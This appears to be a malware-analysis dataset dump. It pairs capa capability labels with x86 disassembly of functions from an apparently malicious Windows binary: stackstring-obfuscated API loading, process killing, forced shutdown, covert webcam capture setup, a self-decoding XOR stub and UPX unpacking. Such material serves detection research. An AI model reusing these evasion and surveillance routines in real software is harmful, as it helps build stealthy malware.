joyce8/EMBER2024-capa huggingface dataset:
Function at 0x412ce3
Capabilities:
Check internet connectivity via wininet

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0
lea eax, [ebp - 4]
push eax
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
test eax, eax
je 0x412d44
mov ecx, dword [ebp - 4]
and ecx, 1
cmp ecx, 1
jne 0x412d09
mov eax, 0x44dac8
jmp 0x412d44
mov edx, dword [ebp - 4]
and edx, 2
cmp edx, 2
jne 0x412d1b
mov eax, 0x44dacc
jmp 0x412d44
mov eax, dword [ebp - 4]
and eax, 4
cmp eax, 4
jne 0x412d2d
mov eax, 0x44dad4
jmp 0x412d44
mov ecx, dword [ebp - 4]
and ecx, 8
cmp ecx, 8
jne 0x412d3f
mov eax, str.BUSY
jmp 0x412d44
mov eax, 0x44dae4
mov esp, ebp
pop ebp
ret
Function at 0x414311
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x28], 0xffffffff
mov ecx, dword [ebp - 0x2c]
call fcn.00414806
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x414337
jmp 0x4143c9
mov byte [ebp - 0x24], 0x4b
mov byte [ebp - 0x23], 0x45
mov byte [ebp - 0x22], 0x52
mov byte [ebp - 0x21], 0x4e
mov byte [ebp - 0x20], 0x45
mov byte [ebp - 0x1f], 0x4c
mov byte [ebp - 0x1e], 0x33
mov byte [ebp - 0x1d], 0x32
mov byte [ebp - 0x1c], 0x2e
mov byte [ebp - 0x1b], 0x64
mov byte [ebp - 0x1a], 0x6c
mov byte [ebp - 0x19], 0x6c
mov byte [ebp - 0x18], 0
mov byte [ebp - 0x10], 0x4c
mov byte [ebp - 0xf], 0x6f
mov byte [ebp - 0xe], 0x63
mov byte [ebp - 0xd], 0x61
mov byte [ebp - 0xc], 0x6c
mov byte [ebp - 0xb], 0x53
mov byte [ebp - 0xa], 0x69
mov byte [ebp - 9], 0x7a
mov byte [ebp - 8], 0x65
mov byte [ebp - 7], 0
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], eax
mov edx, dword [ebp - 0x14]
push edx
call dword [ebp - 4]
push eax
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0x2c]
call fcn.0040e9c0
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov esp, ebp
pop ebp
ret

Function at 0x4143cd
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x28], 0xffffffff
mov ecx, dword [ebp - 0x2c]
call fcn.00414fa8
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x4143f3
jmp 0x414485
mov byte [ebp - 0x24], 0x4b
mov byte [ebp - 0x23], 0x45
mov byte [ebp - 0x22], 0x52
mov byte [ebp - 0x21], 0x4e
mov byte [ebp - 0x20], 0x45
mov byte [ebp - 0x1f], 0x4c
mov byte [ebp - 0x1e], 0x33
mov byte [ebp - 0x1d], 0x32
mov byte [ebp - 0x1c], 0x2e
mov byte [ebp - 0x1b], 0x64
mov byte [ebp - 0x1a], 0x6c
mov byte [ebp - 0x19], 0x6c
mov byte [ebp - 0x18], 0
mov byte [ebp - 0x10], 0x4c
mov byte [ebp - 0xf], 0x6f
mov byte [ebp - 0xe], 0x63
mov byte [ebp - 0xd], 0x61
mov byte [ebp - 0xc], 0x6c
mov byte [ebp - 0xb], 0x53
mov byte [ebp - 0xa], 0x69
mov byte [ebp - 9], 0x7a
mov byte [ebp - 8], 0x65
mov byte [ebp - 7], 0
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], eax
mov edx, dword [ebp - 0x14]
push edx
call dword [ebp - 4]
push eax
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0x2c]
call fcn.0040e9c0
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov esp, ebp
pop ebp
ret
Function at 0x41468e
Capabilities:
Acquire debug privileges
Contain obfuscated stackstrings
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov dword [ebp - 0x48], ecx
mov dword [ebp - 8], 0
push 1
push 0x44db44
call fcn.00414f10
add esp, 8
mov dword [ebp - 0x1c], 0
jmp 0x4146bf
mov eax, dword [ebp - 0x1c]
add eax, 4
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
cmp ecx, dword [ebp + 0xc]
jae 0x414778
mov byte [ebp - 0x44], 0x4b
mov byte [ebp - 0x43], 0x45
mov byte [ebp - 0x42], 0x52
mov byte [ebp - 0x41], 0x4e
mov byte [ebp - 0x40], 0x45
mov byte [ebp - 0x3f], 0x4c
mov byte [ebp - 0x3e], 0x33
mov byte [ebp - 0x3d], 0x32
mov byte [ebp - 0x3c], 0x2e
mov byte [ebp - 0x3b], 0x64
mov byte [ebp - 0x3a], 0x6c
mov byte [ebp - 0x39], 0x6c
mov byte [ebp - 0x38], 0
mov byte [ebp - 0x30], 0x4f
mov byte [ebp - 0x2f], 0x70
mov byte [ebp - 0x2e], 0x65
mov byte [ebp - 0x2d], 0x6e
mov byte [ebp - 0x2c], 0x50
mov byte [ebp - 0x2b], 0x72
mov byte [ebp - 0x2a], 0x6f
mov byte [ebp - 0x29], 0x63
mov byte [ebp - 0x28], 0x65
mov byte [ebp - 0x27], 0x73
mov byte [ebp - 0x26], 0x73
mov byte [ebp - 0x25], 0
lea edx, [ebp - 0x30]
push edx
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0x1c]
mov edx, dword [ecx]
push edx
push 0
push 0x1f0fff
call dword [ebp - 0x34]
mov dword [ebp - 8], eax
push 0
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4146b6
mov byte [ebp - 0x18], 0x4b
mov byte [ebp - 0x17], 0x45
mov byte [ebp - 0x16], 0x52
mov byte [ebp - 0x15], 0x4e
mov byte [ebp - 0x14], 0x45
mov byte [ebp - 0x13], 0x4c
mov byte [ebp - 0x12], 0x33
mov byte [ebp - 0x11], 0x32
mov byte [ebp - 0x10], 0x2e
mov byte [ebp - 0xf], 0x64
mov byte [ebp - 0xe], 0x6c
mov byte [ebp - 0xd], 0x6c
mov byte [ebp - 0xc], 0
mov byte [ebp - 0x24], 0x53
mov byte [ebp - 0x23], 0x6c
mov byte [ebp - 0x22], 0x65
mov byte [ebp - 0x21], 0x65
mov byte [ebp - 0x20], 0x70
mov byte [ebp - 0x1f], 0
lea edx, [ebp - 0x24]
push edx
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], eax
push 0
push 0x44db58
call fcn.00414f10
add esp, 8
push 0x64
call dword [ebp - 4]
mov ecx, dword [ebp - 0x48]
call fcn.00414311
mov ecx, dword [ebp - 0x48]
call fcn.004143cd
mov esp, ebp
pop ebp
ret 8
Function at 0x414d63
Capabilities:
Shutdown system

Disassembly:
push ebp
mov ebp, esp
push 1
push 0x44db94
call fcn.00414f10
add esp, 8
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.USER32.dll_ExitWindowsEx]
push 0
push str.SeShutdownPrivilege
call fcn.00414f10
add esp, 8
pop ebp
ret

Function at 0x415246
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0xc], 0
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 8], eax
push 0x128
call fcn.00433c24
add esp, 4
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov dword [ecx], 0x128
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp - 8]
push eax
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x4152e8
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 4]
add edx, 0x24
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x4152b2
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 8]
mov dword [ebp - 0xc], ecx
mov eax, dword [ebp - 0xc]
jmp 0x4152eb
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp - 8]
push eax
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x4152e8
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 4]
add edx, 0x24
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x4152e6
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 8]
mov dword [ebp - 0xc], ecx
mov eax, dword [ebp - 0xc]
jmp 0x4152eb
jmp 0x4152b2
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret

Function at 0x4152ef
Capabilities:
Contain obfuscated stackstrings
Get session information
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
mov byte [ebp - 0x10], 0x57
mov byte [ebp - 0xf], 0x54
mov byte [ebp - 0xe], 0x53
mov byte [ebp - 0xd], 0x41
mov byte [ebp - 0xc], 0x50
mov byte [ebp - 0xb], 0x49
mov byte [ebp - 0xa], 0x33
mov byte [ebp - 9], 0x32
mov byte [ebp - 8], 0x2e
mov byte [ebp - 7], 0x64
mov byte [ebp - 6], 0x6c
mov byte [ebp - 5], 0x6c
mov byte [ebp - 4], 0
mov byte [ebp - 0x28], 0x57
mov byte [ebp - 0x27], 0x54
mov byte [ebp - 0x26], 0x53
mov byte [ebp - 0x25], 0x41
mov byte [ebp - 0x24], 0x50
mov byte [ebp - 0x23], 0x49
mov byte [ebp - 0x22], 0x33
mov byte [ebp - 0x21], 0x32
mov byte [ebp - 0x20], 0x2e
mov byte [ebp - 0x1f], 0x64
mov byte [ebp - 0x1e], 0x6c
mov byte [ebp - 0x1d], 0x6c
mov byte [ebp - 0x1c], 0
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x18]
push ecx
push 5
push 0xffffffffffffffff
push 0
call sub.WTSAPI32.dll_WTSQuerySessionInformationA
test eax, eax
je 0x4153b6
push 0x100
call fcn.00433c24
add esp, 4
mov dword [ebp - 0x30], eax
mov edx, dword [ebp - 0x30]
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [ebp - 0x2c]
push ecx
call fcn.004255a0
add esp, 8
mov edx, dword [ebp - 0x18]
push edx
call sub.WTSAPI32.dll_WTSFreeMemory
mov eax, dword [ebp - 0x2c]
jmp 0x4153b8
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x4156a2
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9c
push 0x9c
push 0
lea eax, [ebp - 0x9c]
push eax
call fcn.004245f0
add esp, 0xc
mov dword [ebp - 0x9c], 0x9c
lea ecx, [ebp - 0x9c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x4156fb
mov dword [ebp - 0x9c], 0x94
lea edx, [ebp - 0x9c]
push edx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x4156fb
xor eax, eax
jmp 0x415719
cmp dword [ebp - 0x98], 5
jne 0x415714
cmp dword [ebp - 0x94], 0
jne 0x415714
call fcn.004153bc
jmp 0x415719
call fcn.004152ef
mov esp, ebp
pop ebp
ret

Function at 0x4158d3
Capabilities:
Simulate ctrl alt del

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_GetThreadDesktop]
mov dword [ebp - 0x10], eax
mov byte [ebp - 0xc], 0x57
mov byte [ebp - 0xb], 0x69
mov byte [ebp - 0xa], 0x6e
mov byte [ebp - 9], 0x6c
mov byte [ebp - 8], 0x6f
mov byte [ebp - 7], 0x67
mov byte [ebp - 6], 0x6f
mov byte [ebp - 5], 0x6e
mov byte [ebp - 4], 0
lea eax, [ebp - 0xc]
push eax
call fcn.0041586e
add esp, 4
test eax, eax
jne 0x415921
xor eax, eax
jmp 0x41594f
push 0x2e0003
push 0
push 0x312
push 0xffff
call dword [sym.imp.USER32.dll_PostMessageA]
cmp dword [ebp - 0x10], 0
je 0x41594a
mov ecx, dword [ebp - 0x10]
push ecx
call fcn.0041580c
add esp, 4
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x415cd0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
mov dword [ebp - 0x44], ecx
mov eax, dword [ebp - 0x44]
mov dword [eax], 0x440ca4
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov ecx, dword [ebp - 0x44]
mov dword [ecx + 4], eax
mov edx, dword [ebp - 0x44]
mov dword [edx + 8], 0
mov eax, dword [ebp - 0x44]
mov dword [eax + 0xc], 0
call fcn.00416089
and eax, 0xff
test eax, eax
je 0x415d24
xor ecx, ecx
mov cl, byte [0x453d18]
test ecx, ecx
je 0x415d29
jmp 0x415e68
mov byte [ebp - 0x14], 0x23
mov byte [ebp - 0x13], 0x33
mov byte [ebp - 0x12], 0x32
mov byte [ebp - 0x11], 0x37
mov byte [ebp - 0x10], 0x37
mov byte [ebp - 0xf], 0x30
mov byte [ebp - 0xe], 0
mov byte [ebp - 0xc], 0x43
mov byte [ebp - 0xb], 0x56
mov byte [ebp - 0xa], 0x69
mov byte [ebp - 9], 0x64
mov byte [ebp - 8], 0x65
mov byte [ebp - 7], 0x6f
mov byte [ebp - 6], 0x43
mov byte [ebp - 5], 0x61
mov byte [ebp - 4], 0x70
mov byte [ebp - 3], 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0x80000000
push 0x453d1c
lea edx, [ebp - 0x14]
push edx
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov ecx, dword [ebp - 0x44]
mov dword [ecx + 0x10], eax
mov byte [ebp - 0x3c], 0x41
mov byte [ebp - 0x3b], 0x56
mov byte [ebp - 0x3a], 0x49
mov byte [ebp - 0x39], 0x43
mov byte [ebp - 0x38], 0x41
mov byte [ebp - 0x37], 0x50
mov byte [ebp - 0x36], 0x33
mov byte [ebp - 0x35], 0x32
mov byte [ebp - 0x34], 0x2e
mov byte [ebp - 0x33], 0x64
mov byte [ebp - 0x32], 0x6c
mov byte [ebp - 0x31], 0x6c
mov byte [ebp - 0x30], 0
mov byte [ebp - 0x2c], 0x63
mov byte [ebp - 0x2b], 0x61
mov byte [ebp - 0x2a], 0x70
mov byte [ebp - 0x29], 0x43
mov byte [ebp - 0x28], 0x72
mov byte [ebp - 0x27], 0x65
mov byte [ebp - 0x26], 0x61
mov byte [ebp - 0x25], 0x74
mov byte [ebp - 0x24], 0x65
mov byte [ebp - 0x23], 0x43
mov byte [ebp - 0x22], 0x61
mov byte [ebp - 0x21], 0x70
mov byte [ebp - 0x20], 0x74
mov byte [ebp - 0x1f], 0x75
mov byte [ebp - 0x1e], 0x72
mov byte [ebp - 0x1d], 0x65
mov byte [ebp - 0x1c], 0x57
mov byte [ebp - 0x1b], 0x69
mov byte [ebp - 0x1a], 0x6e
mov byte [ebp - 0x19], 0x64
mov byte [ebp - 0x18], 0x6f
mov byte [ebp - 0x17], 0x77
mov byte [ebp - 0x16], 0x41
mov byte [ebp - 0x15], 0
lea edx, [ebp - 0x2c]
push edx
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x40], eax
push 0
mov ecx, dword [ebp - 0x44]
mov edx, dword [ecx + 0x10]
push edx
push 0
push 0
push 0
push 0
push 0x50000000
lea eax, [ebp - 0xc]
push eax
call dword [ebp - 0x40]
mov ecx, dword [ebp - 0x44]
mov dword [ecx + 0x14], eax
mov eax, dword [ebp - 0x44]
mov esp, ebp
pop ebp
ret
Function at 0x416089
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd0
xor eax, eax
mov al, byte [0x453d18]
test eax, eax
je 0x4160a4
xor al, al
jmp 0x4161d1
mov byte [ebp - 4], 0
mov byte [ebp - 0xd0], 0x41
mov byte [ebp - 0xcf], 0x56
mov byte [ebp - 0xce], 0x49
mov byte [ebp - 0xcd], 0x43
mov byte [ebp - 0xcc], 0x41
mov byte [ebp - 0xcb], 0x50
mov byte [ebp - 0xca], 0x33
mov byte [ebp - 0xc9], 0x32
mov byte [ebp - 0xc8], 0x2e
mov byte [ebp - 0xc7], 0x64
mov byte [ebp - 0xc6], 0x6c
mov byte [ebp - 0xc5], 0x6c
mov byte [ebp - 0xc4], 0
mov byte [ebp - 0x20], 0x63
mov byte [ebp - 0x1f], 0x61
mov byte [ebp - 0x1e], 0x70
mov byte [ebp - 0x1d], 0x47
mov byte [ebp - 0x1c], 0x65
mov byte [ebp - 0x1b], 0x74
mov byte [ebp - 0x1a], 0x44
mov byte [ebp - 0x19], 0x72
mov byte [ebp - 0x18], 0x69
mov byte [ebp - 0x17], 0x76
mov byte [ebp - 0x16], 0x65
mov byte [ebp - 0x15], 0x72
mov byte [ebp - 0x14], 0x44
mov byte [ebp - 0x13], 0x65
mov byte [ebp - 0x12], 0x73
mov byte [ebp - 0x11], 0x63
mov byte [ebp - 0x10], 0x72
mov byte [ebp - 0xf], 0x69
mov byte [ebp - 0xe], 0x70
mov byte [ebp - 0xd], 0x74
mov byte [ebp - 0xc], 0x69
mov byte [ebp - 0xb], 0x6f
mov byte [ebp - 0xa], 0x6e
mov byte [ebp - 9], 0x41
mov byte [ebp - 8], 0
lea ecx, [ebp - 0x20]
push ecx
lea edx, [ebp - 0xd0]
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0x58], 0
jmp 0x416197
mov eax, dword [ebp - 0x58]
add eax, 1
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0xa
jge 0x4161ce
mov ecx, dword [ebp - 4]
and ecx, 0xff
test ecx, ecx
jne 0x4161ce
push 0x32
lea edx, [ebp - 0x54]
push edx
push 0x64
lea eax, [ebp - 0xbc]
push eax
mov ecx, dword [ebp - 0x58]
push ecx
call dword [ebp - 0xc0]
neg eax
sbb eax, eax
neg eax
mov byte [ebp - 4], al
jmp 0x41618e
mov al, byte [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x42b3d3
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x42b3f3
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00425c66
pop ecx
or eax, 0xffffffff
ret
test al, 1
je 0x42b416
test byte [esp + 8], 2
je 0x42b416
call fcn.00425cd9
mov dword [eax], 0xd
call fcn.00425ce2
mov dword [eax], 5
jmp 0x42b3ef
xor eax, eax
ret
Function at 0x432b70
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov esi, dword [ebp + 0x10]
push 0xf00021
mov edx, dword [esi + 4]
mov ecx, dword [esi]
mov eax, dword [esi + 0xc]
sub eax, edx
push eax
mov eax, dword [esi + 8]
sub eax, ecx
push eax
push edx
push ecx
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.GDI32.dll_PatBlt]
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov ebx, eax
lea eax, [eax + 5]
add eax, 3
and eax, 0xfffffffc
call fcn.00425360
mov dword [ebp - 4], esp
cmp dword [ebp - 4], 0
je 0x432c3b
add ebx, 2
mov eax, dword [ebp - 4]
push ebx
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
test eax, eax
je 0x432c3b
mov bx, 0x140
mov edi, dword [ebp + 0x14]
mov eax, edi
and al, 0xf
cmp al, 0xc
je 0x432bee
mov ebx, edi
and bx, 0xf
or bx, 0x150
test edi, 0x80
je 0x432bf9
or bh, 8
and edi, 0x8000000
je 0x432c14
mov eax, dword [0x4574fc]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0xc]
movzx eax, bx
push eax
push esi
push 0xffffffffffffffff
push ecx
push edx
call dword [sym.imp.USER32.dll_DrawTextA]
test edi, edi
je 0x432c3b
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
lea esp, [ebp - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x433010
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 8]
sub esp, 4
push ebx
push esi
mov esi, dword [esp + 0x10]
push edi
push ebp
push 2
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x43303b
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
jne 0x43305f
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push ebx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebp, eax
test ebp, ebp
jne 0x43307a
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
mov edi, ebp
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x20]
xor ecx, ecx
mov cl, ah
mov edx, eax
mov dword [esp + 0x10], 0
shl ecx, 8
shr edx, 0x10
mov byte [esp + 0x10], dl
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x28]
or ecx, edx
mov edx, eax
shr edx, 0x10
mov dword [ebp + 0x28], ecx
mov dword [esp + 0x10], 0
xor ecx, ecx
mov byte [esp + 0x10], dl
mov cl, ah
xor edx, edx
shl ecx, 8
mov dl, al
shl edx, 0x10
or ecx, dword [esp + 0x10]
or ecx, edx
mov eax, dword [esp + 0x24]
mov edx, eax
mov dword [ebp + 0x44], ecx
shr edx, 0x10
xor ecx, ecx
mov dword [esp + 0x10], 0
mov cl, ah
mov byte [esp + 0x10], dl
shl ecx, 8
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x2c]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x48], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x30]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x64], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x34]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x54], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
push 0
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
or ecx, edx
mov dword [ebp + 0x50], ecx
call dword [sym.imp.USER32.dll_GetDC]
mov edi, eax
push 0
push ebp
lea ecx, [ebp + 0x68]
push ecx
push 4
push ebp
push edi
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
mov esi, eax
push edi
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
push ebp
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, esi
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
Function at 0x437545
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x437587
call fcn.0043c704
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x437587
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x43757e
xor eax, eax
jmp 0x43758f
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.00437595
pop edi
pop esi
pop ebx
ret 4

Function at 0x43c282
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x43c2b0
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x43c2ce
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0043c1e8
jmp 0x43c2ce
mov eax, dword [esi + 0x14]
test eax, eax
je 0x43c2ce
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.0043c1e8
test edi, edi
mov eax, edi
jne 0x43c2b8
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x40de24
Capabilities:
Get common file path

Disassembly:
push dword [esp + 4]
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
neg eax
sbb eax, eax
neg eax
ret 8

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x417f80
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x14000]
push edi
jmp 0x417f9a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x417fa1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x417f90
mov eax, 1
add ebx, ebx
jne 0x417fb3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x417fa8
jne 0x417fc4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x417fa8
xor ecx, ecx
sub eax, 3
jb 0x417fd8
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x41804a
mov ebp, eax
add ebx, ebx
jne 0x417fe3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x417ff0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x418014
inc ecx
add ebx, ebx
jne 0x418000
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x417ff5
jne 0x418011
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x417ff5
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x418034
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x418025
jmp 0x417f96
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x418034
add edi, ecx
jmp 0x417f96
pop esi
mov edi, esi
mov ecx, 0x315
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x418052
cmp byte [edi], 4
jne 0x418052
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x418057
lea edi, [esi + 0x15000]
mov eax, dword [edi]
or eax, eax
je 0x4180cf
mov ebx, dword [edi + 4]
